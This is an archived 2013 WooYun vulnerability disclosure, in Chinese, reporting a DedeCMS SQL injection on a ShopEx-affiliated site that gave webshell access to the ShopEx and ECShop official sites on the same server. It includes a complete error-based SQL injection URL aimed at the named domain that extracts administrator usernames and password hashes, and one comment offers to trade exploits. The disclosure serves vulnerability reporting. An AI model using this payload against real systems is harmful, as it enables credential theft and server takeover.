当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-020505

漏洞标题:ShopEX官方网站及旗下ECSHOP官方网站高危漏洞

相关厂商:ShopEx

漏洞作者: piaox

提交时间:2013-03-23 00:03

修复时间:2013-05-07 00:04

公开时间:2013-05-07 00:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-23: 细节已通知厂商并且等待厂商处理中
2013-03-23: 厂商已经确认,细节仅向厂商公开
2013-04-02: 细节向核心白帽子及相关领域专家公开
2013-04-12: 细节向普通白帽子公开
2013-04-22: 细节向实习白帽子公开
2013-05-07: 细节向公众公开

简要描述:

域名反查www.shopexdrp.cn,发现ShopEX官方子网站、及ecshop官方网站等都在同一台服务器上,其中www.shopexdrp.cn使用dedecms,利用该CMS注入漏洞,可拿到webshell,同服务上的众多官方子网站及旗下网站被控制。

详细说明:

1.jpg


利用dedecms sql注入漏洞:
www.shopexdrp.cn/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+1,2),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

2.jpg

漏洞证明:

3.jpg


4.jpg


5.jpg


6.jpg

修复方案:

先把dedecms给升级下吧。。
有礼物没,亲。

版权声明:转载请注明来源 piaox@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-03-23 20:18

厂商回复:

感谢您为shopex安全做的贡献
我们会尽快处理
非常感谢

最新状态:

暂无


漏洞评价:

评论

  1. 2013-03-23 00:26 | 戏子_AINI ( 路人 | Rank:21 漏洞数:7 | 我是一只小小小小鸟,想要飞却飞也飞不高。...)

    描述侧漏了

  2. 2013-03-23 00:41 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    乌云这2天很热闹哦~

  3. 2013-03-23 08:32 | Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)

    描述带入了整个内容

  4. 2013-03-23 08:40 | piaox ( 普通白帽子 | Rank:239 漏洞数:41 )

    我是个农民.....

  5. 2013-03-23 16:49 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    @gainover 春天来了

  6. 2013-03-23 21:08 | piaox ( 普通白帽子 | Rank:239 漏洞数:41 )

    rank有点失望,礼物更是奢望。

  7. 2013-03-24 22:42 | 嘟嘟 ( 路人 | Rank:0 漏洞数:1 | 这个人很懒,什么都没留下。)

    xsser尼玛最近失踪了 求最新ecshop漏洞 可以互换exp

  8. 2013-05-07 00:52 | Passer_by ( 实习白帽子 | Rank:97 漏洞数:21 | 问题真实存在但是影响不大(腾讯微博Passer...)

    都shell了,厂商只给10啊?

  9. 2013-05-07 09:31 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:170 | 力不从心)

    @piaox 都已经给雷了,多了20,一共30,洞主不要太奢望啊